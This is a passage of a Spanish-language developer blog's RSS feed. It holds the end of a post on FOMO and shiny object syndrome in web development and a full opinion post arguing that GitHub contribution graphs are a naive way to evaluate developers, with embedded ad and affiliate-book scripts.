especial?&lt;/p&gt;&#xA;&lt;h2 id=&#34;diferencias-entre-el-fear-of-missing-out-y-el-shiny-object-syndrome&#34;&gt;Diferencias entre el Fear Of Missing Out y el Shiny Object Syndrome&lt;/h2&gt;&#xA;&lt;p&gt;Aunque ambos fenómenos se parezcan, hay varias diferencias, principalmente en el efecto que tienen sobre nosotros.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;FOMO&lt;/th&gt;&#xA;          &lt;th&gt;SOS&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Miedo o ansiedad de ser dejado atrás o fuera&lt;/td&gt;&#xA;          &lt;td&gt;La novedad te distrae&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Impacta en tu bienestar y comportamiento social&lt;/td&gt;&#xA;          &lt;td&gt;Impacta en tu productividad y concentración&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Puede llevar a comprometerse en exceso con actividades o experiencias por miedo a perdérselas.&lt;/td&gt;&#xA;          &lt;td&gt;Da lugar a decisiones impulsivas para cambiar de proyecto o de dirección&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;h2 id=&#34;por-que-es-importante-considerar-el-fomo-y-el-sos-en-el-desarrollo-web&#34;&gt;¿Por qué es importante considerar el FOMO y el SOS en el desarrollo web?&lt;/h2&gt;&#xA;&lt;p&gt;Mis ejemplos anteriores no hablan de ninguna tecnología en específico, pero estoy seguro de que se te vinieron a la mente varios lenguajes, frameworks y tecnologías mientras leías los párrafos anteriores.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;ejemplo-del-sos-y-el-fomo-en-el-desarrollo-web&#34;&gt;Ejemplo del SOS y el FOMO en el desarrollo web&lt;/h3&gt;&#xA;&lt;p&gt;Yo me atreveré a nombrarte algunos ejemplos que pasaron por mi mente al escribir esta entrada:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/como-crear-una-api-graphql-en-django-rapidamente-usando-graphene/&#34;&gt;Graphql&lt;/a&gt;&#xA;: Adoptado por muchísimas personas incluso aunque probablemente solo necesitaran una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;API REST&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/no-uses-jwt-para-gestionar-sesiones-traduccion/&#34;&gt;JWT&lt;/a&gt;&#xA;: Usado como una &amp;ldquo;mejora&amp;rdquo; a las sesiones y autenticación, incluso aunque &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://redis.io/blog/json-web-tokens-jwt-are-dangerous-for-user-sessions/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;varios expertos en seguridad informáticas recomendaban no usarlas&lt;/a&gt;&#xA; de esa manera.&lt;/li&gt;&#xA;&lt;li&gt;CSR, SSR y SSG: Los desarrolladores rápidamente se dieron cuenta de que siempre fue mejor generar el HTML directamente desde el servidor o usar archivos estáticos, como se había hecho siempre, por &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/seo/mis-errores-de-optimizacion-en-el-seo-tecnico-al-migrar-de-wordpress/&#34;&gt;razones tales como el SEO.&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;AI: ¿&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;Será la AI una burbuja&lt;/a&gt;&#xA; en la que es mejor entrar o pasará igual que con la revolución cripto?&lt;/li&gt;&#xA;&lt;li&gt;WASM: No es que WASM no sea útil, todo lo contrario, lo que ocurre es que algunos pensaban que todos los sitios iban a estar codificados en Rust o en algún lenguaje de bajo nivel, lo que por supuesto no ha ocurrido.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;consecuencias-del-sos-y-el-fomo-en-el-desarrollo-web&#34;&gt;Consecuencias del SOS y el FOMO en el desarrollo web&lt;/h3&gt;&#xA;&lt;p&gt;El FOMO y el SOS pueden impactar decisiones de diseño, arquitecturas, stacks y debemos ser muy cuidadosos de no precipitarnos al elegir algo basándonos en nuestras emociones o en corazonadas, nuestras decisiones deben estar basadas en argumentos racionales y se deben de considerar aspectos tales como la madurez de una tecnología (Como el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;framework Django&lt;/a&gt;&#xA; o React), su estabilidad a lo largo del tiempo, su proyección a futuro, lo fácil que es encontrar nuevos desarrolladores que la dominen o, en su defecto, capacitar al persona existente e incluso aspectos como si el respectivo proyecto recibe financiación de terceros que le permita seguir operando.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;},{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>No Uses Github Para Evaluar A Los Desarrolladores</title>
      <link>https://coffeebytes.dev/es/git/no-uses-github-para-evaluar-a-los-desarrolladores/</link>
      <pubDate>Tue, 06 Aug 2024 10:13:00 -0600</pubDate>
      <guid>https://coffeebytes.dev/es/git/no-uses-github-para-evaluar-a-los-desarrolladores/</guid>
      
      <category>git</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Si eres de los que usan las contribuciones de Github para evaluar a tus candidatos, o clientes, te explico porque necesariamente no es una buena idea.&lt;/p&gt;&#xA;&lt;p&gt;Es una práctica común usar Github para evaluar las capacidades de un desarrollador, pero hacerlo a ciegas, ignorando la siguiente serie de factores, haría que tu ignorancia te costara acceder a candidatos con un mayor potencial y experiencia en el funcionamiento del mundo del software.&lt;/p&gt;&#xA;&lt;h2 id=&#34;un-github-vacio-no-significa-ser-incompetente&#34;&gt;Un github vacio no significa ser incompetente&lt;/h2&gt;&#xA;&lt;p&gt;&amp;ldquo;La ausencia de evidencia no es evidencia de ausencia&amp;rdquo; o, puesto en otras palabras, que la persona no tenga código de excelente calidad en Github, no significa que no pueda escribirlo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-as-past-review-tool.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-as-past-review-tool.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esto es sólo una representación de cómo un gráfico de contribución de github puede ser un reflejo de la vida de alguien&#34; width=&#34;1300&#34; height=&#34;350&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Esto es sólo una representación de cómo un gráfico de contribución de github puede ser un reflejo de la vida de alguien&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Todo el mundo sabe hacer git add y git commit, pero no todo el mundo sabe usar git hasta sus límites, si no sabes de cherry-picking, bisect o hooks, no te conformes con lo básico, usa git a su máxima potencia, ve tutoriales, compra un curso, pero hazlo. Mi recomendación es el siguiente libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Git Pocket Guide\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740599463/git-pocket-guide_r6rtd0.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4bpb8Qf\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Git Pocket Guide y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;No te conformes con git add y git commit\&#34;},{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;¿Pero porqué alguien no querría mostrar la &lt;del&gt;horrible calidad de su código hecho en javascript&lt;/del&gt; calidad de su código? Una de las razones es que probablemente esté demasiado ocupada escribiendo código que sí paga, en lugar de contribuir al open source.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/tweet-push-code-that-makes-money.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/tweet-push-code-that-makes-money.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Tweet incendiario que desencadena acaloradas discusiones&#34; width=&#34;550&#34; height=&#34;258&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Tweet incendiario que desencadena acaloradas discusiones&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;No todos tienen un día extra cada semana para dedicarlo al open source, algunos tienen responsabilidades extras más allá del trabajo, como criar una familia, cuidar de padres enfermos o proyectos personales.&lt;/p&gt;&#xA;&lt;p&gt;Irónicamente mi github luce así:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/eduardo-zepeda-github.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/eduardo-zepeda-github.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Contribuciones de Eduardo Zepeda en Github&#34; width=&#34;747&#34; height=&#34;161&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Mis contribuciones en Github&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;no-todos-las-programadores-adoran-el-open-source&#34;&gt;No todos las programadores adoran el open source&lt;/h3&gt;&#xA;&lt;p&gt;Sí, como ya sabes no todos son &lt;del&gt;fans del Slavoj Žižek del software libre: Richard Stallman&lt;/del&gt; tan altruistas para contribuir código a la humanidad sin esperar nada a cambio, ¿podríamos culparlos?, ¿no están siendo hipócritas la mayoría de las empresas? ¿Acaso las empresas que usan Github para evaluar a sus candidatos tienen su base de código como open source?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;microsoft-github-y-los-escandalos-relacionados-con-el-robo-de-codigo&#34;&gt;Microsoft, Github y los escándalos relacionados con el robo de código&lt;/h2&gt;&#xA;&lt;p&gt;Microsoft nunca ha sido conocida por su ética a la hora de hacer negocios, desde sus inicios se ha visto implicada en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.wired.com/2012/08/ms-dos-examined-for-thef/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;alborotos relacionados con el robo de código&lt;/a&gt;&#xA;. Además ha mantenido esa fama viva a base de escándalos como:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cuando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ft.com/content/ab21f416-e9d1-11de-ae43-00144feab49a&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Microsoft copió el código de una startup de micro-blogging&lt;/a&gt;&#xA; y lanzó su propio servicio.&lt;/li&gt;&#xA;&lt;li&gt;Cuando su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://aibusiness.com/responsible-ai/github-s-ai-powered-coding-tool-allegedly-copied-code&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;AI, Github copilot, copió descaradamente el código&lt;/a&gt;&#xA; de unos investigadores&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Considerando lo anterior, e independientemente de la veracidad de las afirmaciones, &lt;strong&gt;no me extrañaría que algunos desarrolladores opten por mantener su código fuera de las manos de Microsoft y sus servicios,&lt;/strong&gt; Github incluído, por supuesto.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-meme-invencibles.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/github-meme-invencibles.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme de github&#34; width=&#34;852&#34; height=&#34;508&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Github meme de los invencibles&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;no-todos-los-proyectos-esta-en-github-existen-bitbucket-gitlab-gitea-y-otros&#34;&gt;No todos los proyectos está en Github, existen Bitbucket, Gitlab, Gitea y otros&lt;/h2&gt;&#xA;&lt;p&gt;Github es el servicio de facto para el manejo de repositorios en linea, pero existen otras opciones tales como Bitbucket, Gitlab, Gitea, launchpad, que aunque carecen del tamaño y la cantidad de servicios ofrecidos por Github, compensan con una mejor reputación.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/meme-github-gitlab.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/git/dont-use-github-to-evaluate-developers-it-is-naive/images/meme-github-gitlab.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Meme que surgió tras la compra de Github por parte de Microsoft&#34; width=&#34;680&#34; height=&#34;453&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Meme que surgió tras la compra de Github por parte de Microsoft&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Algunos desarrolladores prefieren usar estas alternativas como una respuesta al monopolio de Github o quizás por razones tan banales como preferir una UI sobre otra.&lt;/p&gt;&#xA;&lt;p&gt;¿Hay que ignorar entonces los proyectos de Github? Por supuesto que no, pero juzgar las capacidades de una persona sólo por la presencia o ausencia de código en Github es pecar de ingenuo.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Si eres de los que usan las contribuciones de Github para evaluar a tus candidatos, o clientes, te explico porque necesariamente no es una buena idea.&lt;/p&gt;&#xA;&lt;p&gt;Es una práctica común usar Github para evaluar las capacidades de un desarrollador, pero hacerlo a ciegas, ignorando la siguiente serie de factores, haría que tu ignorancia te costara acceder a candidatos con un mayor potencial y experiencia en el funcionamiento del mundo del software.&lt;/p&gt;</summary>
    </item>
    
    
    <item>
